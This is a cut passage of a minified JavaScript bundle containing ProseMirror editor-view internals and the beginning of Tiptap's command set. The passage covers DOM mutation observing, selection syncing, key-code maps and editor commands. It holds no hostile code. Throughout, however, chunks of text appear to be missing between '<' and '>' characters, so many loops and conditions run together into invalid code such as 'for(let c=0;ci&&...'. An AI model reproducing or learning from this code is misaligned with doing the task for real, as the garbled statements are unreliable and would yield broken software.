h=u+r,f;if(f=u2(n,c,h)){for(a||(a=this.children.slice());ic&&m.to=e){this.children[c]==e&&(r=this.children[c+2]);break}let i=e+1,o=i+n.content.size;for(let c=0;ci&&u.type instanceof xi){let h=Math.max(i,u.from)-i,f=Math.min(o,u.to)-i;ha.map(e,n,fo));return si.from(r)}forChild(e,n){if(n.isLeaf)return $t.empty;let r=[];for(let a=0;an instanceof $t)?e:e.reduce((n,r)=>n.concat(r instanceof $t?r:r.members),[]))}}forEachSet(e){for(let n=0;n{let v=w-N-(y-g);for(let k=0;kC+f-m)continue;let E=c[k]+f-m;y>=E?c[k+1]=g<=E?-2:-1:g>=f&&v&&(c[k]+=v,c[k+1]+=v)}m+=v}),f=n.maps[h].map(f,-1)}let u=!1;for(let h=0;h=r.content.size){u=!0;continue}let g=n.map(t[h+1]+i,-1),y=g-a,{index:N,offset:w}=r.content.findIndex(m),v=r.maybeChild(N);if(v&&w==m&&w+v.nodeSize==y){let k=c[h+2].mapInner(n,v,f+1,t[h]+i+1,o);k!=ar?(c[h]=m,c[h+1]=y,c[h+2]=k):(c[h+1]=-2,u=!0)}else u=!0}if(u){let h=xL(c,t,e,n,a,i,o),f=Sh(h,r,0,o);e=f.local;for(let m=0;mn&&o.to{let h=u2(t,c,u+n);if(h){i=!0;let f=Sh(h,c,n+u+1,r);f!=ar&&a.push(u,u+c.nodeSize,f)}});let o=d2(i?h2(t):t,-n).sort(po);for(let c=0;c0;)e++;t.splice(e,0,n)}function eg(t){let e=[];return t.someProp("decorations",n=>{let r=n(t.state);r&&r!=ar&&e.push(r)}),t.cursorWrapper&&e.push($t.create(t.state.doc,[t.cursorWrapper.deco])),si.from(e)}const yL={childList:!0,characterData:!0,characterDataOldValue:!0,attributes:!0,attributeOldValue:!0,subtree:!0},bL=Ar&&mi<=11;class vL{constructor(){this.anchorNode=null,this.anchorOffset=0,this.focusNode=null,this.focusOffset=0}set(e){this.anchorNode=e.anchorNode,this.anchorOffset=e.anchorOffset,this.focusNode=e.focusNode,this.focusOffset=e.focusOffset}clear(){this.anchorNode=this.focusNode=null}eq(e){return e.anchorNode==this.anchorNode&&e.anchorOffset==this.anchorOffset&&e.focusNode==this.focusNode&&e.focusOffset==this.focusOffset}}class NL{constructor(e,n){this.view=e,this.handleDOMChange=n,this.queue=[],this.flushingSoon=-1,this.observer=null,this.currentSelection=new vL,this.onCharData=null,this.suppressingSelectionUpdates=!1,this.lastChangedTextNode=null,this.observer=window.MutationObserver&&new window.MutationObserver(r=>{for(let a=0;aa.type=="childList"&&a.removedNodes.length||a.type=="characterData"&&a.oldValue.length>a.target.nodeValue.length)?this.flushSoon():ur&&e.composing&&r.some(a=>a.type=="childList"&&a.target.nodeName=="TR")?(e.input.badSafariComposition=!0,this.flushSoon()):this.flush()}),bL&&(this.onCharData=r=>{this.queue.push({target:r.target,type:"characterData",oldValue:r.prevValue}),this.flushSoon()}),this.onSelectionChange=this.onSelectionChange.bind(this)}flushSoon(){this.flushingSoon<0&&(this.flushingSoon=window.setTimeout(()=>{this.flushingSoon=-1,this.flush()},20))}forceFlush(){this.flushingSoon>-1&&(window.clearTimeout(this.flushingSoon),this.flushingSoon=-1,this.flush())}start(){this.observer&&(this.observer.takeRecords(),this.observer.observe(this.view.dom,yL)),this.onCharData&&this.view.dom.addEventListener("DOMCharacterDataModified",this.onCharData),this.connectSelection()}stop(){if(this.observer){let e=this.observer.takeRecords();if(e.length){for(let n=0;nthis.flush(),20)}this.observer.disconnect()}this.onCharData&&this.view.dom.removeEventListener("DOMCharacterDataModified",this.onCharData),this.disconnectSelection()}connectSelection(){this.view.dom.ownerDocument.addEventListener("selectionchange",this.onSelectionChange)}disconnectSelection(){this.view.dom.ownerDocument.removeEventListener("selectionchange",this.onSelectionChange)}suppressSelectionUpdates(){this.suppressingSelectionUpdates=!0,setTimeout(()=>this.suppressingSelectionUpdates=!1,50)}onSelectionChange(){if(K1(this.view)){if(this.suppressingSelectionUpdates)return ka(this.view);if(Ar&&mi<=11&&!this.view.state.selection.empty){let e=this.view.domSelectionRange();if(e.focusNode&&No(e.focusNode,e.focusOffset,e.anchorNode,e.anchorOffset))return this.flushSoon()}this.flush()}}setCurSelection(){this.currentSelection.set(this.view.domSelectionRange())}ignoreSelectionChange(e){if(!e.focusNode)return!0;let n=new Set,r;for(let i=e.focusNode;i;i=Cl(i))n.add(i);for(let i=e.anchorNode;i;i=Cl(i))if(n.has(i)){r=i;break}let a=r&&this.view.docView.nearestDesc(r);if(a&&a.ignoreMutation({type:"selection",target:r.nodeType==3?r.parentNode:r}))return this.setCurSelection(),!0}pendingRecords(){if(this.observer)for(let e of this.observer.takeRecords())this.queue.push(e);return this.queue}flush(){let{view:e}=this;if(!e.docView||this.flushingSoon>-1)return;let n=this.pendingRecords();n.length&&(this.queue=[]);let r=e.domSelectionRange(),a=!this.suppressingSelectionUpdates&&!this.currentSelection.eq(r)&&K1(e)&&!this.ignoreSelectionChange(r),i=-1,o=-1,c=!1,u=[];if(e.editable)for(let f=0;ff.nodeName=="BR")&&(e.input.lastKeyCode==8||e.input.lastKeyCode==46)){for(let f of u)if(f.nodeName=="BR"&&f.parentNode){let m=f.nextSibling;m&&m.nodeType==1&&m.contentEditable=="false"&&f.parentNode.removeChild(f)}}else if(ls&&u.length){let f=u.filter(m=>m.nodeName=="BR");if(f.length==2){let[m,g]=f;m.parentNode&&m.parentNode.parentNode==g.parentNode?g.remove():m.remove()}else{let{focusNode:m}=this.currentSelection;for(let g of f){let y=g.parentNode;y&&y.nodeName=="LI"&&(!m||kL(e,m)!=y)&&g.remove()}}}let h=null;i<0&&a&&e.input.lastFocus>Date.now()-200&&Math.max(e.input.lastTouch,e.input.lastClick.time)-1||a)&&(i>-1&&(e.docView.markDirty(i,o),wL(e)),e.input.badSafariComposition&&(e.input.badSafariComposition=!1,SL(e,u)),this.handleDOMChange(i,o,c,u),e.docView&&e.docView.dirty?e.updateState(e.state):this.currentSelection.eq(r)||ka(e),this.currentSelection.set(r))}registerMutation(e,n){if(n.indexOf(e.target)>-1)return null;let r=this.view.docView.nearestDesc(e.target);if(e.type=="attributes"&&(r==this.view.docView||e.attributeName=="contenteditable"||e.attributeName=="style"&&!e.oldValue&&!e.target.getAttribute("style"))||!r||r.ignoreMutation(e))return null;if(e.type=="childList"){for(let f=0;fa;v--){let k=r.childNodes[v-1],C=k.pmViewDesc;if(k.nodeName=="BR"&&!C){i=v;break}if(!C||C.size)break}let m=t.state.doc,g=t.someProp("domParser")||pi.fromSchema(t.state.schema),y=m.resolve(o),N=null,w=g.parse(r,{topNode:y.parent,topMatch:y.parent.contentMatchAt(y.index()),topOpen:!0,from:a,to:i,preserveWhitespace:y.parent.type.whitespace=="pre"?"full":!0,findPositions:h,ruleFromNode:EL,context:y});if(h&&h[0].pos!=null){let v=h[0].pos,k=h[1]&&h[1].pos;k==null&&(k=v),N={anchor:v+o,head:k+o}}return{doc:w,sel:N,from:o,to:c}}function EL(t){let e=t.pmViewDesc;if(e)return e.parseRule();if(t.nodeName=="BR"&&t.parentNode){if(ur&&/^(ul|ol)$/i.test(t.parentNode.nodeName)){let n=document.createElement("div");return n.appendChild(document.createElement("li")),{skip:n}}else if(t.parentNode.lastChild==t||ur&&/^(tr|table)$/i.test(t.parentNode.nodeName))return{ignore:!0}}else if(t.nodeName=="IMG"&&t.getAttribute("mark-placeholder"))return{ignore:!0};return null}const TL=/^(a|abbr|acronym|b|bd[io]|big|br|button|cite|code|data(list)?|del|dfn|em|i|img|ins|kbd|label|map|mark|meter|output|q|ruby|s|samp|small|span|strong|su[bp]|time|u|tt|var)$/i;function ML(t,e,n,r,a){let i=t.input.compositionPendingChanges||(t.composing?t.input.compositionID:0);if(t.input.compositionPendingChanges=0,e<0){let L=t.input.lastSelectionTime>Date.now()-50?t.input.lastSelectionOrigin:null,R=g0(t,L);if(R&&!t.state.selection.eq(R)){if(Xn&&va&&t.input.lastKeyCode===13&&Date.now()-100z(t,to(13,"Enter"))))return;let D=t.state.tr.setSelection(R);L=="pointer"?D.setMeta("pointer",!0):L=="key"&&D.scrollIntoView(),i&&D.setMeta("composition",i),t.dispatch(D)}return}let o=t.state.doc.resolve(e),c=o.sharedDepth(n);e=o.before(c+1),n=t.state.doc.resolve(n).after(c+1);let u=t.state.selection,h=CL(t,e,n),f=t.state.doc,m=f.slice(h.from,h.to),g,y;t.input.lastKeyCode===8&&Date.now()-100Date.now()-225||va)&&a.some(L=>L.nodeType==1&&!TL.test(L.nodeName))&&(!N||N.endA>=N.endB)&&t.someProp("handleKeyDown",L=>L(t,to(13,"Enter")))){t.input.lastIOSEnter=0;return}if(!N)if(r&&u instanceof Ze&&!u.empty&&u.$head.sameParent(u.$anchor)&&!t.composing&&!(h.sel&&h.sel.anchor!=h.sel.head))N={start:u.from,endA:u.to,endB:u.to};else{if(h.sel){let L=sN(t,t.state.doc,h.sel);if(L&&!L.eq(t.state.selection)){let R=t.state.tr.setSelection(L);i&&R.setMeta("composition",i),t.dispatch(R)}}return}t.state.selection.fromt.state.selection.from&&N.start<=t.state.selection.from+2&&t.state.selection.from>=h.from?N.start=t.state.selection.from:N.endA=t.state.selection.to-2&&t.state.selection.to<=h.to&&(N.endB+=t.state.selection.to-N.endA,N.endA=t.state.selection.to)),Ar&&mi<=11&&N.endB==N.start+1&&N.endA==N.start&&N.start>h.from&&h.doc.textBetween(N.start-h.from-1,N.start-h.from+1)=="  "&&(N.start--,N.endA--,N.endB--);let w=h.doc.resolveNoCache(N.start-h.from),v=h.doc.resolveNoCache(N.endB-h.from),k=f.resolve(N.start),C=w.sameParent(v)&&w.parent.inlineContent&&k.end()>=N.endA;if((El&&t.input.lastIOSEnter>Date.now()-225&&(!C||a.some(L=>L.nodeName=="DIV"||L.nodeName=="P"))||!C&&w.posL(t,to(13,"Enter")))){t.input.lastIOSEnter=0;return}if(t.state.selection.anchor>N.start&&IL(f,N.start,N.endA,w,v)&&t.someProp("handleKeyDown",L=>L(t,to(8,"Backspace")))){va&&Xn&&t.domObserver.suppressSelectionUpdates();return}Xn&&N.endB==N.start&&(t.input.lastChromeDelete=Date.now()),va&&!C&&w.start()!=v.start()&&v.parentOffset==0&&w.depth==v.depth&&h.sel&&h.sel.anchor==h.sel.head&&h.sel.head==N.endA&&(N.endB-=2,v=h.doc.resolveNoCache(N.endB-h.from),setTimeout(()=>{t.someProp("handleKeyDown",function(L){return L(t,to(13,"Enter"))})},20));let E=N.start,T=N.endA,I=L=>{let R=L||t.state.tr.replace(E,T,h.doc.slice(N.start-h.from,N.endB-h.from));if(h.sel){let D=sN(t,R.doc,h.sel);D&&!(Xn&&t.composing&&D.empty&&(N.start!=N.endB||t.input.lastChromeDeleteka(t),20));let L=I(t.state.tr.delete(E,T)),R=f.resolve(N.start).marksAcross(f.resolve(N.endA));R&&L.ensureMarks(R),t.dispatch(L)}else if(N.endA==N.endB&&(O=AL(w.parent.content.cut(w.parentOffset,v.parentOffset),k.parent.content.cut(k.parentOffset,N.endA-k.start())))){let L=I(t.state.tr);O.type=="add"?L.addMark(E,T,O.mark):L.removeMark(E,T,O.mark),t.dispatch(L)}else if(w.parent.child(w.index()).isText&&w.index()==v.index()-(v.textOffset?0:1)){let L=w.parent.textBetween(w.parentOffset,v.parentOffset),R=()=>I(t.state.tr.insertText(L,E,T));t.someProp("handleTextInput",D=>D(t,E,T,L,R))||t.dispatch(R())}else t.dispatch(I());else t.dispatch(I())}function sN(t,e,n){return Math.max(n.anchor,n.head)>e.content.size?null:x0(t,e.resolve(n.anchor),e.resolve(n.head))}function AL(t,e){let n=t.firstChild.marks,r=e.firstChild.marks,a=n,i=r,o,c,u;for(let f=0;ff.mark(c.addToSet(f.marks));else if(a.length==0&&i.length==1)c=i[0],o="remove",u=f=>f.mark(c.removeFromSet(f.marks));else return null;let h=[];for(let f=0;fn||tg(o,!0,!1)0&&(e||t.indexAfter(r)==t.node(r).childCount);)r--,a++,e=!1;if(n){let i=t.node(r).maybeChild(t.indexAfter(r));for(;i&&!i.isLeaf;)i=i.firstChild,a++}return a}function RL(t,e,n,r,a){let i=t.findDiffStart(e,n);if(i==null)return null;let{a:o,b:c}=t.findDiffEnd(e,n+t.size,n+e.size);if(a=="end"){let u=Math.max(0,i-Math.min(o,c));r-=o+u-i}if(o=o?i-r:0;i-=u,i&&i=c?i-r:0;i-=u,i&&i=56320&&e<=57343&&n>=55296&&n<=56319}class f2{constructor(e,n){this._root=null,this.focused=!1,this.trackWrites=null,this.mounted=!1,this.markCursor=null,this.cursorWrapper=null,this.lastSelectedViewDesc=void 0,this.input=new GD,this.prevDirectPlugins=[],this.pluginViews=[],this.requiresGeckoHackNode=!1,this.dragging=null,this._props=n,this.state=n.state,this.directPlugins=n.plugins||[],this.directPlugins.forEach(dN),this.dispatch=this.dispatch.bind(this),this.dom=e&&e.mount||document.createElement("div"),e&&(e.appendChild?e.appendChild(this.dom):typeof e=="function"?e(this.dom):e.mount&&(this.mounted=!0)),this.editable=lN(this),oN(this),this.nodeViews=cN(this),this.docView=F1(this.state.doc,iN(this),eg(this),this.dom,this),this.domObserver=new NL(this,(r,a,i,o)=>ML(this,r,a,i,o)),this.domObserver.start(),JD(this),this.updatePluginViews()}get composing(){return this.input.composing}get props(){if(this._props.state!=this.state){let e=this._props;this._props={};for(let n in e)this._props[n]=e[n];this._props.state=this.state}return this._props}update(e){e.handleDOMEvents!=this._props.handleDOMEvents&&ax(this);let n=this._props;this._props=e,e.plugins&&(e.plugins.forEach(dN),this.directPlugins=e.plugins),this.updateStateInner(e.state,n)}setProps(e){let n={};for(let r in this._props)n[r]=this._props[r];n.state=this.state;for(let r in e)n[r]=e[r];this.update(n)}updateState(e){this.updateStateInner(e,this._props)}updateStateInner(e,n){var r;let a=this.state,i=!1,o=!1;e.storedMarks&&this.composing&&(i2(this),o=!0),this.state=e;let c=a.plugins!=e.plugins||this._props.plugins!=n.plugins;if(c||this._props.plugins!=n.plugins||this._props.nodeViews!=n.nodeViews){let y=cN(this);OL(y,this.nodeViews)&&(this.nodeViews=y,i=!0)}(c||n.handleDOMEvents!=this._props.handleDOMEvents)&&ax(this),this.editable=lN(this),oN(this);let u=eg(this),h=iN(this),f=a.plugins!=e.plugins&&!a.doc.eq(e.doc)?"reset":e.scrollToSelection>a.scrollToSelection?"to selection":"preserve",m=i||!this.docView.matchesNode(e.doc,h,u);(m||!e.selection.eq(a.selection))&&(o=!0);let g=f=="preserve"&&o&&this.dom.style.overflowAnchor==null&&cD(this);if(o){this.domObserver.stop();let y=m&&(Ar||Xn)&&!this.composing&&!a.selection.empty&&!e.selection.empty&&PL(a.selection,e.selection);if(m){let N=Xn?this.trackWrites=this.domSelectionRange().focusNode:null;this.composing&&(this.input.compositionNode=cL(this)),(i||!this.docView.update(e.doc,h,u,this))&&(this.docView.updateOuterDeco(h),this.docView.destroy(),this.docView=F1(e.doc,h,u,this.dom,this)),N&&(!this.trackWrites||!this.dom.contains(this.trackWrites))&&(y=!0)}y||!(this.input.mouseDown&&this.domObserver.currentSelection.eq(this.domSelectionRange())&&PD(this))?ka(this,y):(GS(this,e.selection),this.domObserver.setCurSelection()),this.domObserver.start()}this.updatePluginViews(a),!((r=this.dragging)===null||r===void 0)&&r.node&&!a.doc.eq(e.doc)&&this.updateDraggedNode(this.dragging,a),f=="reset"?this.dom.scrollTop=0:f=="to selection"?this.scrollToSelection():g&&dD(g)}scrollToSelection(){let e=this.domSelectionRange().focusNode;if(!(!e||!this.dom.contains(e.nodeType==1?e:e.parentNode))){if(!this.someProp("handleScrollToSelection",n=>n(this)))if(this.state.selection instanceof Xe){let n=this.docView.domAfterPos(this.state.selection.from);n.nodeType==1&&O1(this,n.getBoundingClientRect(),e)}else O1(this,this.coordsAtPos(this.state.selection.head,1),e)}}destroyPluginViews(){let e;for(;e=this.pluginViews.pop();)e.destroy&&e.destroy()}updatePluginViews(e){if(!e||e.plugins!=this.state.plugins||this.directPlugins!=this.prevDirectPlugins){this.prevDirectPlugins=this.directPlugins,this.destroyPluginViews();for(let n=0;n0&&this.state.doc.nodeAt(i))==r.node&&(a=i)}this.dragging=new l2(e.slice,e.move,a<0?void 0:Xe.create(this.state.doc,a))}someProp(e,n){let r=this._props&&this._props[e],a;if(r!=null&&(a=n?n(r):r))return a;for(let o=0;on.ownerDocument.getSelection()),this._root=n}return e||document}updateRoot(){this._root=null}posAtCoords(e){return gD(this,e)}coordsAtPos(e,n=1){return FS(this,e,n)}domAtPos(e,n=0){return this.docView.domFromPos(e,n)}nodeDOM(e){let n=this.docView.descAt(e);return n?n.nodeDOM:null}posAtDOM(e,n,r=-1){let a=this.docView.posFromDOM(e,n,r);if(a==null)throw new RangeError("DOM position not inside the editor");return a}endOfTextblock(e,n){return ND(this,n||this.state,e)}pasteHTML(e,n){return id(this,"",e,!1,n||new ClipboardEvent("paste"))}pasteText(e,n){return id(this,e,null,!0,n||new ClipboardEvent("paste"))}serializeForClipboard(e){return y0(this,e)}destroy(){this.docView&&(YD(this),this.destroyPluginViews(),this.mounted?(this.docView.update(this.state.doc,[],eg(this),this),this.dom.textContent=""):this.dom.parentNode&&this.dom.parentNode.removeChild(this.dom),this.docView.destroy(),this.docView=null,ZO())}get isDestroyed(){return this.docView==null}dispatchEvent(e){return XD(this,e)}domSelectionRange(){let e=this.domSelection();return e?ur&&this.root.nodeType===11&&sD(this.dom.ownerDocument)==this.dom&&jL(this,e)||e:{focusNode:null,focusOffset:0,anchorNode:null,anchorOffset:0}}domSelection(){return this.root.getSelection()}}f2.prototype.dispatch=function(t){let e=this._props.dispatchTransaction;e?e.call(this,t):this.updateState(this.state.apply(t))};function iN(t){let e=Object.create(null);return e.class="ProseMirror",e.contenteditable=String(t.editable),t.someProp("attributes",n=>{if(typeof n=="function"&&(n=n(t.state)),n)for(let r in n)r=="class"?e.class+=" "+n[r]:r=="style"?e.style=(e.style?e.style+";":"")+n[r]:!e[r]&&r!="contenteditable"&&r!="nodeName"&&(e[r]=String(n[r]))}),e.translate||(e.translate="no"),[An.node(0,t.state.doc.content.size,e)]}function oN(t){if(t.markCursor){let e=document.createElement("img");e.className="ProseMirror-separator",e.setAttribute("mark-placeholder","true"),e.setAttribute("alt",""),t.cursorWrapper={dom:e,deco:An.widget(t.state.selection.from,e,{raw:!0,marks:t.markCursor})}}else t.cursorWrapper=null}function lN(t){return!t.someProp("editable",e=>e(t.state)===!1)}function PL(t,e){let n=Math.min(t.$anchor.sharedDepth(t.head),e.$anchor.sharedDepth(e.head));return t.$anchor.start(n)!=e.$anchor.start(n)}function cN(t){let e=Object.create(null);function n(r){for(let a in r)Object.prototype.hasOwnProperty.call(e,a)||(e[a]=r[a])}return t.someProp("nodeViews",n),t.someProp("markViews",n),e}function OL(t,e){let n=0,r=0;for(let a in t){if(t[a]!=e[a])return!0;n++}for(let a in e)r++;return n!=r}function dN(t){if(t.spec.state||t.spec.filterTransaction||t.spec.appendTransaction)throw new RangeError("Plugins passed directly to the view must not have a state component")}var vi={8:"Backspace",9:"Tab",10:"Enter",12:"NumLock",13:"Enter",16:"Shift",17:"Control",18:"Alt",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",44:"PrintScreen",45:"Insert",46:"Delete",59:";",61:"=",91:"Meta",92:"Meta",106:"*",107:"+",108:",",109:"-",110:".",111:"/",144:"NumLock",145:"ScrollLock",160:"Shift",161:"Shift",162:"Control",163:"Control",164:"Alt",165:"Alt",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'"},Ch={48:")",49:"!",50:"@",51:"#",52:"$",53:"%",54:"^",55:"&",56:"*",57:"(",59:":",61:"+",173:"_",186:":",187:"+",188:"<",189:"_",190:">",191:"?",192:"~",219:"{",220:"|",221:"}",222:'"'},DL=typeof navigator<"u"&&/Mac/.test(navigator.platform),LL=typeof navigator<"u"&&/MSIE \d|Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent);for(var Qn=0;Qn<10;Qn++)vi[48+Qn]=vi[96+Qn]=String(Qn);for(var Qn=1;Qn<=24;Qn++)vi[Qn+111]="F"+Qn;for(var Qn=65;Qn<=90;Qn++)vi[Qn]=String.fromCharCode(Qn+32),Ch[Qn]=String.fromCharCode(Qn);for(var ng in vi)Ch.hasOwnProperty(ng)||(Ch[ng]=vi[ng]);function _L(t){var e=DL&&t.metaKey&&t.shiftKey&&!t.ctrlKey&&!t.altKey||LL&&t.shiftKey&&t.key&&t.key.length==1||t.key=="Unidentified",n=!e&&t.key||(t.shiftKey?Ch:vi)[t.keyCode]||t.key||"Unidentified";return n=="Esc"&&(n="Escape"),n=="Del"&&(n="Delete"),n=="Left"&&(n="ArrowLeft"),n=="Up"&&(n="ArrowUp"),n=="Right"&&(n="ArrowRight"),n=="Down"&&(n="ArrowDown"),n}const zL=typeof navigator<"u"&&/Mac|iP(hone|[oa]d)/.test(navigator.platform),$L=typeof navigator<"u"&&/Win/.test(navigator.platform);function FL(t){let e=t.split(/-(?!$)/),n=e[e.length-1];n=="Space"&&(n=" ");let r,a,i,o;for(let c=0;c{for(var n in e)HL(t,n,{get:e[n],enumerable:!0})};function Af(t){const{state:e,transaction:n}=t;let{selection:r}=n,{doc:a}=n,{storedMarks:i}=n;return{...e,apply:e.apply.bind(e),applyTransaction:e.applyTransaction.bind(e),plugins:e.plugins,schema:e.schema,reconfigure:e.reconfigure.bind(e),toJSON:e.toJSON.bind(e),get storedMarks(){return i},get selection(){return r},get doc(){return a},get tr(){return r=n.selection,a=n.doc,i=n.storedMarks,n}}}var If=class{constructor(t){this.editor=t.editor,this.rawCommands=this.editor.extensionManager.commands,this.customState=t.state}get hasCustomState(){return!!this.customState}get state(){return this.customState||this.editor.state}get commands(){const{rawCommands:t,editor:e,state:n}=this,{view:r}=e,{tr:a}=n,i=this.buildProps(a);return Object.fromEntries(Object.entries(t).map(([o,c])=>[o,(...h)=>{const f=c(...h)(i);return!a.getMeta("preventDispatch")&&!this.hasCustomState&&r.dispatch(a),f}]))}get chain(){return()=>this.createChain()}get can(){return()=>this.createCan()}createChain(t,e=!0){const{rawCommands:n,editor:r,state:a}=this,{view:i}=r,o=[],c=!!t,u=t||a.tr,h=()=>(!c&&e&&!u.getMeta("preventDispatch")&&!this.hasCustomState&&i.dispatch(u),o.every(m=>m===!0)),f={...Object.fromEntries(Object.entries(n).map(([m,g])=>[m,(...N)=>{const w=this.buildProps(u,e),v=g(...N)(w);return o.push(v),f}])),run:h};return f}createCan(t){const{rawCommands:e,state:n}=this,r=!1,a=t||n.tr,i=this.buildProps(a,r);return{...Object.fromEntries(Object.entries(e).map(([c,u])=>[c,(...h)=>u(...h)({...i,dispatch:void 0})])),chain:()=>this.createChain(a,r)}}buildProps(t,e=!0){const{rawCommands:n,editor:r,state:a}=this,{view:i}=r,o={tr:t,editor:r,view:i,state:Af({state:a,transaction:t}),dispatch:e?()=>{}:void 0,chain:()=>this.createChain(t,e),can:()=>this.createCan(t),get commands(){return Object.fromEntries(Object.entries(n).map(([c,u])=>[c,(...h)=>u(...h)(o)]))}};return o}},p2={};S0(p2,{blur:()=>WL,clearContent:()=>UL,clearNodes:()=>KL,command:()=>qL,createParagraphNear:()=>GL,cut:()=>JL,deleteCurrentNode:()=>YL,deleteNode:()=>QL,deleteRange:()=>XL,deleteSelection:()=>ZL,enter:()=>e8,exitCode:()=>t8,extendMarkRange:()=>n8,first:()=>r8,focus:()=>a8,forEach:()=>i8,insertContent:()=>o8,insertContentAt:()=>d8,joinBackward:()=>f8,joinDown:()=>h8,joinForward:()=>p8,joinItemBackward:()=>m8,joinItemForward:()=>g8,joinTextblockBackward:()=>x8,joinTextblockForward:()=>y8,joinUp:()=>u8,keyboardShortcut:()=>v8,lift:()=>N8,liftEmptyBlock:()=>w8,liftListItem:()=>j8,newlineInCode:()=>k8,resetAttributes:()=>S8,scrollIntoView:()=>C8,selectAll:()=>E8,selectNodeBackward:()=>T8,selectNodeForward:()=>M8,selectParentNode:()=>A8,selectTextblockEnd:()=>I8,selectTextblockStart:()=>R8,setContent:()=>P8,setMark:()=>Z8,setMeta:()=>e6,setNode:()=>t6,setNodeSelection:()=>n6,setTextDirection:()=>r6,setTextSelection:()=>s6,sinkListItem:()=>a6,splitBlock:()=>i6,splitListItem:()=>o6,toggleList:()=>l6,toggleMark:()=>c6,toggleNode:()=>d6,toggleWrap:()=>u6,undoInputRule:()=>h6,unsetAllMarks:()=>f6,unsetMark:()=>p6,unsetTextDirection:()=>m6,updateAttributes:()=>g6,wrapIn:()=>x6,wrapInList:()=>y6});var WL=()=>({editor:t,view:e})=>(requestAnimationFrame(()=>{var n;t.isDestroyed||(e.dom.blur(),(n=window==null?void 0:window.getSelection())==null||n.removeAllRanges())}),!0),UL=(t=!0)=>({commands:e})=>e.setContent("",{emitUpdate:t}),KL=()=>({state:t,tr:e,dispatch:n})=>{const{selection:r}=e,{ranges:a}=r;return n&&a.forEach(({$from:i,$to:o})=>{t.doc.nodesBetween(i.pos,o.pos,(c,u)=>{if(c.type.isText)return;const{doc:h,mapping:f}=e,m=h.resolve(f.map(u)),g=h.resolve(f.map(u+c.nodeSize)),y=m.blockRange(g);if(!y)return;const N=$l(y);if(c.type.isTextblock){const{defaultType:w}=m.parent.contentMatchAt(m.index());e.setNodeMarkup(y.start,w)}(N||N===0)&&e.lift(y,N)})}),!0},qL=t=>e=>t(e),GL=()=>({state:t,dispatch:e})=>MS(t,e),JL=(t,e)=>({editor:n,tr:r})=>{const{state:a}=n,i=a.doc.slice(t.from,t.to);r.deleteRange(t.from,t.to);const o=r.mapping.map(e);return r.insert(o,i.content),r.setSelection(new Ze(r.doc.resolve(Math.max(o-1,0)))),!0},YL=()=>({tr:t,dispatch:e})=>{const{selection:n}=t,r=n.$anchor.node();if(r.content.size>0)return!1;const a=t.selection.$anchor;for(let i=a.depth;i>0;i-=1)if(a.node(i).type===r.type){if(e){const c=a.before(i),u=a.after(i);t.delete(c,u).scrollIntoView()}return!0}return!1};function Sn(t,e){if(typeof t=="string"){if(!e.nodes[t])throw Error(`There is no node type named '${t}'. Maybe you forgot to add the extension?`);return e.nodes[t]}return t}var QL=t=>({tr:e,state:n,dispatch:r})=>{const a=Sn(t,n.schema),i=e.selection.$anchor;for(let o=i.depth;o>0;o-=1)if(i.node(o).type===a){if(r){const u=i.before(o),h=i.after(o);e.delete(u,h).scrollIntoView()}return!0}return!1},XL=t=>({tr:e,dispatch:n})=>{const{from:r,to:a}=t;return n&&e.delete(r,a),!0},ZL=()=>({state:t,dispatch:e})=>d0(t,e),e8=()=>({commands:t})=>t.keyboardShortcut("Enter"),t8=()=>({state:t,dispatch:e})=>zO(t,e);function C0(t){return Object.prototype.toString.call(t)==="[object RegExp]"}function Eh(t,e,n={strict:!0}){const r=Object.keys(e);return r.length?r.every(a=>n.strict?e[a]===t[a]:C0(e[a])?e[a].test(t[a]):e[a]===t[a]):!0}function m2(t,e,n={}){return t.find(r=>r.type===e&&Eh(Object.fromEntries(Object.keys(n).map(a=>[a,r.attrs[a]])),n))}function uN(t,e,n={}){return!!m2(t,e,n)}function E0(t,e,n){var r;if(!t||!e)return;let a=t.parent.childAfter(t.parentOffset);if((!a.node||!a.node.marks.some(f=>f.type===e))&&(a=t.parent.childBefore(t.parentOffset)),!a.node||!a.node.marks.some(f=>f.type===e)||(n=n||((r=a.node.marks[0])==null?void 0:r.attrs),!m2([...a.node.marks],e,n)))return;let o=a.index,c=t.start()+a.offset,u=o+1,h=c+a.node.nodeSize;for(;o>0&&uN([...t.parent.child(o-1).marks],e,n);)o-=1,c-=t.parent.child(o).nodeSize;for(;u({tr:n,state:r,dispatch:a})=>{const i=Ta(t,r.schema),{doc:o,selection:c}=n,{$from:u,from:h,to:f}=c;if(a){const m=E0(u,i,e);if(m&&m.from<=h&&m.to>=f){const g=Ze.create(o,m.from,m.to);n.setSelection(g)}}return!0},r8=t=>e=>{const n=typeof t=="function"?t(e):t;for(let r=0;r({editor:n,view:r,tr:a,dispatch:i})=>{e={scrollIntoView:!0,...e};const o=()=>{(Th()||hN())&&r.dom.focus(),s8()&&!Th()&&!hN()&&r.dom.focus({preventScroll:!0}),requestAnimationFrame(()=>{n.isDestroyed||(r.focus(),e!=null&&e.scrollIntoView&&n.commands.scrollIntoView())})};try{if(r.hasFocus()&&t===null||t===!1)return!0}catch{return!1}if(i&&t===null&&!g2(n.state.selection))return o(),!0;const c=x2(a.doc,t)||n.state.selection,u=n.state.selection.eq(c);return i&&(u||a.setSelection(c),u&&a.storedMarks&&a.setStoredMarks(a.storedMarks),o()),!0},i8=(t,e)=>n=>t.every((r,a)=>e(r,{...n,index:a})),o8=(t,e)=>({tr:n,commands:r})=>r.insertContentAt({from:n.selection.from,to:n.selection.to},t,e),y2=t=>{const e=t.childNodes;for(let n=e.length-1;n>=0;n-=1){const r=e[n];r.nodeType===3&&r.nodeValue&&/^(\n\s\s|\n)$/.test(r.nodeValue)?t.removeChild(r):r.nodeType===1&&y2(r)}return t};function zu(t){if(typeof window>"u")throw new Error("[tiptap error]: there is no window object available, so this function cannot be used");const e=`${t}`,n=new window.DOMParser().parseFromString(e,"text/html").body;return y2(n)}function ld(t,e,n){if(t instanceof wa||t instanceof be)return t;n={slice:!0,parseOptions:{},...n};const r=typeof t=="object"&&t!==null,a=typeof t=="string";if(r)try{if(Array.isArray(t)&&t.length>0)return be.fromArray(t.map(c=>e.nodeFromJSON(c)));const o=e.nodeFromJSON(t);return n.errorOnInvalidContent&&o.check(),o}catch(i){if(n.errorOnInvalidContent)throw 